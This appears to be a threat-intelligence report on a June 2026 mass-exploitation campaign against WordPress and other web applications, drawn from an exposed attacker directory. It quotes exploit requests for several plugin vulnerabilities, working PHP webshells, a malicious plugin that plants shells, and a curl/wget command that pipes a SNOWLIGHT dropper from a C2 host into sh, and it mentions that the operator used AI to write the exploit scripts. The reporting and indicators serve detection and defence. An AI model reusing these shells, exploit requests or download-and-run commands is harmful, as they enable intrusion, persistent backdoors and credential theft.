Overview

Found on the Hunt.io platform, an exposed Linux working directory provided a detailed record of a mass web-exploitation operation active in June 2026:

AttackCapture™

The collection held target lists IPs and URLs from FOFA, custom vulnerability scanners, exploit scripts, uploaded PHP payloads, shell inventories, post-exploitation tooling, execution logs, archives, and 2,000 lines of root shell history.

Across 18 documented scanner runs, the operator generated 850k+ attempt records against 442k+ deduplicated vulnerability–site pairs.

Across all surviving evidence, 25,195 unique normalised sites carry confirmed or validated compromise evidence. To validate whether your website was targeted, compromised or suspected, please see our Exposure Checker

Read together, the files describe a repeatable workflow:

1. identify internet-facing sites running a vulnerable plugin or application
2. test an upload or code-execution primitive
3. place a marker-bearing PHP or PHTML file
4. request the uploaded file and validate its output
5. replace or supplement it with a larger webshell
6. merge successful URLs into a common inventory
7. return to selected systems for credentials, administrator access, and persistent backdoors

The strongest activity centred on WordPress. Breeze Cache, ThemeREX Addons, Simple File List, BerqWP, Custom CSS JS & PHP, WavePlayer, Ninja Forms, Gravity Forms, WPBookit, and vulnerable plugin-installation routes were all incorporated into the workflow.

The same server also held exploitation tooling for PrestaShop, Joomla, MetInfo, Craft CMS, Magento, Nacos, and other applications.

From Target Lists to Webshells

Target acquisition

FOFA was the main target source visible in the workspace. The operator stored a FOFA configuration file and repeatedly generated product-specific lists.

The largest surviving target files were joomla_mega_targets.txt with 587,034 lines, all_scan_targets.txt with 508,729, new_batch_658k.txt with 276,480, and fofa_new_domains.txt with 201,356. Product-specific files included 46,648 ThemeREX targets, 45,057 Breeze targets, and 44,786 Ninja Forms URLs.

The lists mix domains, IP addresses, schemes, ports, aliases, and duplicate observations. The operator was aware of this problem and repeatedly normalised the pools:

cat /opt/wp-rce-scan/mega_targets.txt \
    /root/all_fofa_classified_final.txt \
    /root/fofa_new_domains.txt \
    /root/all_scan_targets.txt 2>/dev/null |
sed 's/\t.*//' |
sort -u |
grep -v '^$' |
grep -v '^\.' > /tmp/all_domains_raw.txt

Previously scanned domains were then removed:

cut -f1 /root/results/ALL_DOMAINS_CLASSIFIED_V3.txt |
sort -u > /tmp/scanned_63k.txt

comm -23 /tmp/all_domains_raw.txt /tmp/scanned_63k.txt \
  > /root/new_batch_658k.txt

Initial Access

The threat actor leveraged known CVEs in web-apps, primarily Wordpress plugins, in order to gain initial access. We will discuss the success of each CVE for exploitation later:

• CVE-2026-48907 - Joomla JCE - Arbitrary file upload to remote code execution
• CVE-2026-31843 - Pay-UZ - Unauthenticated remote code execution
• CVE-2026-29014 - MetInfo CMS - Unauthenticated remote code execution
• CVE-2026-6433 - Custom CSS JS & PHP - SQL injection to remote code execution
• CVE-2026-4882 - User Registration Advanced Fields - Arbitrary file upload
• CVE-2026-3844 - Breeze Cache - Arbitrary file upload
• CVE-2026-3395 - MaxSite CMS - Remote code execution
• CVE-2026-3300 - Everest Forms Pro - PHP code injection
• CVE-2026-1969 - ThemeREX Addons - Arbitrary file upload
• CVE-2026-1357 - WPvivid Backup - Path traversal and arbitrary file upload
• CVE-2026-0740 - Ninja Forms File Uploads - Path traversal and arbitrary file upload
• CVE-2025-34085 - Simple File List - Arbitrary file upload and rename to remote code execution
• CVE-2025-32432 - Craft CMS - Pre-authentication remote code execution
• CVE-2025-23921 - Multi Uploader for Gravity Forms - Unauthenticated arbitrary file upload
• CVE-2025-13486 - ACF Extended - Unauthenticated remote code execution
• CVE-2025-12352 - Gravity Forms - Server-side request forgery to arbitrary file upload
• CVE-2025-12057 - WavePlayer - Arbitrary file upload
• CVE-2025-7852 - WPBookit - Arbitrary file upload
• CVE-2025-7443 - BerqWP - Arbitrary file upload
• CVE-2025-6389 - Sneeit Framework - Arbitrary function execution
• CVE-2025-5394 - Alone WordPress Theme - Arbitrary plugin installation to remote code execution
• CVE-2024-34102 - Adobe Commerce/Magento - XML external entity injection
• CVE-2024-11613 - WP File Upload - Remote code execution
• CVE-2024-8856 - WP Time Capsule - Arbitrary file upload
• CVE-2024-6648 - PrestaShop AP Page Builder - Absolute path traversal and arbitrary file read
• CVE-2024-2961 - GNU C Library iconv - Out-of-bounds write
• CVE-2020-25213 - WP File Manager - Unauthenticated arbitrary file upload

Exploit development

The shell history records a progression from single-target testing to detached, parallel jobs.

An early WordPress scanner ran with 50 workers:

cd /opt/wp-rce-scan &&
nohup python3 wp_rce_scan.py \
  -f targets.txt \
  -t 50 \
  -o wp_rce_shells.txt \
  > scan.log 2>&1 &

Later jobs used 100, 150, 200, 300, and 500 workers. Separate exploit families were launched in concurrent screen sessions:

screen -dmS m1 bash -c \
  "python3 wp_batch_rce_v2.py ... -e sfl ..."

screen -dmS m2 bash -c \
  "python3 wp_batch_rce_v2.py ... -e ninjaforms ..."

screen -dmS m3 bash -c \
  "python3 wp_batch_rce_v2.py ... -e wpfileupload ..."

screen -dmS m4 bash -c \
  "python3 wp_batch_rce_v2.py ... -e dragdrop ..."

screen -dmS m5 bash -c \
  "python3 wp_batch_rce_v2.py ... -e fileaway ..."

By the time Ctrl-Alt-Intel recovered and dumped the open-directory, the exploitation script used was wp_rce_v8.py. Evidence suggests the threat actor heavily leveraged AI in development of scripts:

AI developed Wordpress RCE script

The operator watched output as it accumulated:

tail -5 /root/batch_nfwp.log
wc -l /root/downphp_shells.txt /root/nfwp_shells.txt
ps aux | grep batch_nfwp | grep -v grep
screen -ls

Response checks, filenames, worker counts, and payload formats were edited between runs:

sed -i "s|THREADS = 20|THREADS = 50|" \
  /root/CVE-2025-34085.py

sed -i \
  "s/filename = \"\.brq-{}\.txt\"/filename = \"brq_{}.css\"/" \
  berqwp_v2.py

sed -i \
  "s/if MARKER in body:/if MARKER in body and len(body) < 100:/g" \
  customcss_v2.py

sed -i 's|THREADS = 100|THREADS = 150|' \
  /root/batch_downphp_v2.py

This iteration reduced false positives and adapted payloads to extension filters or response behaviour observed during live runs.

Upload and verification

The most common route to execution was an unauthenticated file-handling function that accepted PHP, accepted an alternative executable extension, or could be made to retrieve an attacker-controlled file.

Marker shells commonly followed this pattern:

<?php echo "MARKER"; @eval($_POST["x"]); ?>

The marker identified the request and gave the scanner an exact value to seek in the uploaded response. A returned marker showed that the server had interpreted the uploaded file as PHP.

Successful paths were merged and rechecked:

cat downphp_shells.txt nfwp_shells.txt |
grep -i .php |
sort -u > all_shells_raw.txt

nohup python3 /root/verify_shells.py \
  > /root/verify_result.txt 2>&1 &

The operator eventually combined results from otherwise separate campaigns:

cat /root/*_shells.txt \
    /opt/wp-rce-scan/mega_*_shells.txt 2>/dev/null |
sed "s|https\?://||" |
sed "s|/.*||" |
sort -u |
wc -l

Vulnerabilities Exploited

The table below covers the completed campaigns for which a target cohort and outcome evidence survive.

• Attempts - Target records processed by the scanner, before site normalisation and deduplication.
• Confirmed - Strong proof of exploitation, such as marker execution, command output, arithmetic proof, or an authenticated webshell response.
• Validated - Evidence that an upload or exploit succeeded, but without the same level of execution proof as confirmed results.
• Suspected only - The scanner recorded potentially vulnerable behaviour, but executable access or compromise could not be verified.

The directory also contains PoCs and partially operationalised code for WP File Manager, WP File Upload, WP Time Capsule, ACF Extended, Multi Uploader for Gravity Forms, Everest Forms Pro, User Registration Advanced Fields, Drag and Drop Multiple File Upload for Contact Form 7, Kali Forms, Filester, File Away, Magento, Nacos, MaxSite CMS, and ThinkPHP.

Those components are excluded from the campaign-success totals because the retained evidence does not establish or log a confirmed or validated compromise set.

The Highest-Volume WordPress Campaigns

Breeze Cache

Breeze produced the largest confirmed result set.

Breeze Cache - CVE-2026-3844

The exploit supplied an attacker-controlled URL to one of two AJAX actions:

action=breeze_fetch_gravatar
action=fetch_gravatar_from_remote

The vulnerable WordPress server retrieved the remote file and stored it beneath:

/wp-content/uploads/breeze/gravatars/

The scanner generated a marker-specific payload URL:

payload_url = "{}/{}.php".format(
    PAYLOAD_SERVER,
    MARKER,
)

code, body = do_req(
    ajax_url,
    {
        "action": "breeze_fetch_gravatar",
        "gravatar_url": payload_url,
    },
)

PHP and PHTML variants were requested after upload. The response had to contain the corresponding marker before the site entered the confirmed tier.

The operator launched the campaign with a local payload server:

nohup python3 /root/breeze_payload_server.py 8888 \
  > /dev/null 2>&1 &

nohup python3 /root/breeze_mass.py \
  http://127.0.0.1:8888 \
  /root/breeze_targets.txt \
  80 > /root/breeze_scan.log 2>&1 &

Within the surviving target cohort, 17,064 of 27,879 deduplicated sites produced confirmed evidence.

Common filenames included:

BZ_slnm8o.phtml
BZ_v739z6.phtml
BZ_slnm8o.php
BZ_v739z6.php

ThemeREX Addons

ThemeREX exploitation used:

action=trx_addons_uploads_save_data

The request declared the payload as an image while supplying PHP:

files = {
    "file": (
        "{}.php".format(MARKER),
        shell_content,
        "image/jpeg",
    )
}

Observed destinations included:

/wp-content/uploads/trx_addons/
/wp-content/uploads/YYYY/MM/
/wp-content/uploads/

The reconciled run contains 3,378 confirmed and 36 validated sites.

Simple File List

Simple File List used a two-request chain.

Simple File List - CVE-2025-34085

The first request uploaded attacker content as a PNG:

/wp-content/plugins/simple-file-list/ee-upload-engine.php

The second renamed the file to PHP:

/wp-content/plugins/simple-file-list/ee-file-engine.php

The rename request supplied:

data = {
    "eeListFolder": "/",
    "eeFileOld": f"{filename}.png",
    "eeFileAction": f"Rename|{new_name}",
}

Resulting shells were generally placed under:

/wp-content/uploads/simple-file-list/

Saved post-exploitation output confirms that selected Simple File List victims were queried for:

• id
• hostname and operating-system data
• WordPress paths
• wp-config.php
• database credentials
• local users
• internal network addresses

A persistent shell was written as:

/wp-content/uploads/.bd.php

BerqWP

BerqWP was attacked through:

/wp-content/plugins/berqwp/store_javascript_cache.php

The multipart request labelled PHP as JavaScript:

filename = ".brq-{}.php".format(MARKER)

headers = {
    "Content-Type":
      "multipart/form-data; boundary={}".format(boundary)
}

The most common destination was:

/wp-content/cache/berqwp/.brq-<marker>.php

The reconciled run contains 368 confirmed and four validated sites.

Custom CSS JS & PHP

This campaign used an unauthenticated SQL injection exposed through:

action=fc_ajax_call
operation=wce_editor_inline_code

The injected row supplied PHP that the plugin later evaluated. The evaluated code wrote another PHP file:

shell_content = (
    '<?php echo "{m}";'
    '@eval($_POST["x"]);?>'
).format(m=MARKER)

write_code = (
    '<?php file_put_contents('
    '$_SERVER["DOCUMENT_ROOT"] . "/{f}",'
    '"{s}"); ?>'
).format(
    f=shell_filename,
    s=shell_content,
)

Dedicated post-exploitation logs contain command output from 17 sites. Eight persistent shells were recorded, commonly at:

/wp-content/uploads/.wp-log.php

The reconciled campaign contains 452 confirmed sites.

WavePlayer, Ninja Forms, Gravity Forms, and WPBookit

WavePlayer used waveplayer_create_local_copy to create executable files beneath the plugin’s upload directory. The reconciled evidence contains 261 confirmed sites.

Ninja Forms used upload actions including:

nf_upload_file
nf_fu_upload

The surviving run contains 116 validated sites. Common destinations included:

/wp-content/uploads/ninja-forms/
/wp-content/uploads/ninja-forms/tmp/

Gravity Forms used a server-side image retrieval function to fetch an attacker-hosted PHP payload. Thirty sites returned the expected panel evidence.

WPBookit used an unauthenticated booking-type image upload. Four sites in the surviving target cohort produced confirmed evidence.

Malicious plugin installation

Two chains installed attacker-hosted ZIP files.

The Alone theme campaign retrieved:

http://137.175.93[.]126:8080/xs.zip

The archive contained xs/xs.php, a compact command and PHP-evaluation shell:

<?php
if (isset($_POST['x'])) {
    eval($_POST['x']);
    die();
}
if (isset($_GET['x'])) {
    system($_GET['x']);
    die();
}
echo "404";
?>

The GutenKit/Hunk chain used:

/wp-json/gutenkit/v1/install-active-plugin
/wp-json/hc/v1/themehunk-import

to install:

http://137.175.93[.]126:8877/shell-deploy.zip

Fourteen plugin-directory shells were recorded. The malicious plugin copied embedded shell code into its plugin directory, the uploads directory, and the active theme:

register_activation_hook(
    __FILE__,
    'shell_deploy_init'
);

$upload_dir = wp_upload_dir();
$shell_path =
    $upload_dir['basedir'] .
    '/.sd_' .
    substr(md5(time()), 0, 8) .
    '.php';

file_put_contents($shell_path, $shell);
file_put_contents(
    plugin_dir_path(__FILE__) . '.sd.php',
    $shell
);

Webshells and Persistence

Password-protected PHP panel

new_shell.php, new_shell_bypass.php, and new_shell_short.php implement a concealed file-management panel.

Capabilities include:

• directory and file browsing
• arbitrary file reads
• upload, edit, rename, delete, and permission changes
• system and PHP-environment collection
• command execution in some variants
• session-based authentication
• crawler blocking
• HTTP 404 responses used as camouflage

The shared password is:

Authentication uses POST parameter k:

@session_start();
@set_time_limit(0);
error_reporting(0);
http_response_code(404);

$p_a_s_s_k_e_y = "GQxcpCNmqW";

if (
    isset($_POST['k']) &&
    $_POST['k'] === $p_a_s_s_k_e_y
) {
    $_SESSION['a_u_t_h'] = 1;
}

Godzilla-compatible shell

gls.php and gls_fixed.php implement an encrypted session shell compatible with the Godzilla protocol.

The shell uses POST parameter xxscgfg123123, XOR key 3c6e0b8a9c15224a, and the session payload name payload.

The shell base64-decodes and XOR-transforms attacker data before storing or evaluating a session payload:

$pass = 'xxscgfg123123';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';

if (isset($_POST[$pass])) {
    $data = encode(
        base64_decode($_POST[$pass]),
        $key
    );

    if (isset($_SESSION[$payloadName])) {
        $payload = encode(
            $_SESSION[$payloadName],
            $key
        );
        eval($payload);
    }
}

Main Webshell - down.php

down.php is a large obfuscated PHP webshell with multiple capabilities, protected by the password:

Its visible wrapper decodes a transformed blob and evaluates the result:

<?php
$password = "sfssfdgfd1212313";
$data = "[transformed blob]";
$uri = pack("H*", str_rot13($data));
eval($uri);

Late in the activity, the operator attempted to place this panel through several vulnerability families and then merged every URL ending in down.php.

down.php - Capabilities

The down.php webshell was the most capable and sophisticated we had observed. It appeared to evolve from open-source Chinese-developed BestShell, which natively supported both Linux and Windows:

• complete file management, uploads, downloads, archives, permissions, and timestamps
• arbitrary operating-system commands and PHP execution
• Perl, C, PHP, and fsockopen reverse shells
• a PHP Meterpreter stage loader
• host, PHP, patch, antivirus, WAF, cloud-agent, and EDR discovery
• port scanning, HTTP proxying, internal URL access, and remote payload download
• MySQL administration, arbitrary SQL, server-side file reads and writes
• embedded x86 and x64 MySQL UDF DLLs for command execution as the database service
• recursive credential-file searches, mass code injection, replacement, cleanup, and web-shell scanning

The webshell came in-built with set commands that could be run:

In-build commands

These included the creation of mysql$ user account with credential envl. Additionally, the web-shell could enumerate EDR/AV installations and Windows hotfixes to identify known vulnerabilities:

Hotfixes

AV/EDR enumeration

We could dedicate a whole blog to the analysis of the capabilities of down.php, however this is not in the scope.

Installing VShell on the Operator Host

A very surprising find was the execution of the below VShell command within the threat actors .bash_history file. Typically, we see VShell deployed to victim machines for C2, however here the threat actor is enrolling their VPS.

(curl -fsSL -m180 http://xs.xxooonline.eu.cc:8080/slw||
 wget -T180 -q http://xs.xxooonline.eu.cc:8080/slw)|sh

The /slw response is an architecture-aware shell script. It tests writable locations, determines whether the host is x86-64, x86, ARM64, or ARM, downloads a corresponding ELF, saves it as 0e654492ws, and starts it with nohup:

linux.sh

These are SNOWLIGHT payloads, which act as a dropper for VShell

C2: xs.xxooonline.eu[.]cc
Port:       8080
Protocol:  WebSocket

Timeline

The saved Simple File List report dates confirmed exploitation to June 11, 2026. Target generation, vulnerability testing, malicious ZIP retrieval, and scanner development continued over the following days.

On June 15, the HTTP log records the first retrievals of new_shell.php, new_shell_bypass.php, and new_shell_short.php.

From June 15 through June 20, the retained logs and command history show Breeze, ThemeREX, BerqWP, WavePlayer, Custom CSS JS & PHP, Ninja Forms, Gravity Forms, PrestaShop, Joomla, shell consolidation, and post-exploitation activity.

Payload retrieval and scanner activity continued through June 21.

Attribution

We assess with medium-high confidence that the mass-exploitation activity was conducted by a Chinese actor or Chinese-speaking operator. The strongest evidence is fluent Simplified Chinese in campaign-specific scripts and interactive .bash_history entries, including 域名去重 (“domain deduplication”), 随便找一个Breeze域名 (“find any Breeze domain”), 进程状态 (“process status”), and FOFA扫描日志 (“FOFA scan log”).

The operator also built dedicated workflows for deploying Godzilla (哥斯拉) webshells and relied extensively on FOFA. The recovered SNOWLIGHT chain delivered VShell, a remote-access tool frequently used by Chinese groups and developed within a Chinese-speaking community.

Indicators of Compromise

Network indicators

File and path indicators

Recurring filenames include:

.bd.php
.wp-log.php
.sys_log.php
sfl_bk.php
.auto.php
.sd.php
.sd_*.php
.leo_*.php
.brq-*.php
.wvp-*.php
.cc-*.php
.nf-log.php

Recurring directories include:

/wp-content/uploads/breeze/gravatars/
/wp-content/uploads/trx_addons/
/wp-content/cache/berqwp/
/wp-content/uploads/simple-file-list/
/wp-content/uploads/ninja-forms/

File hashes

MITRE ATT&CK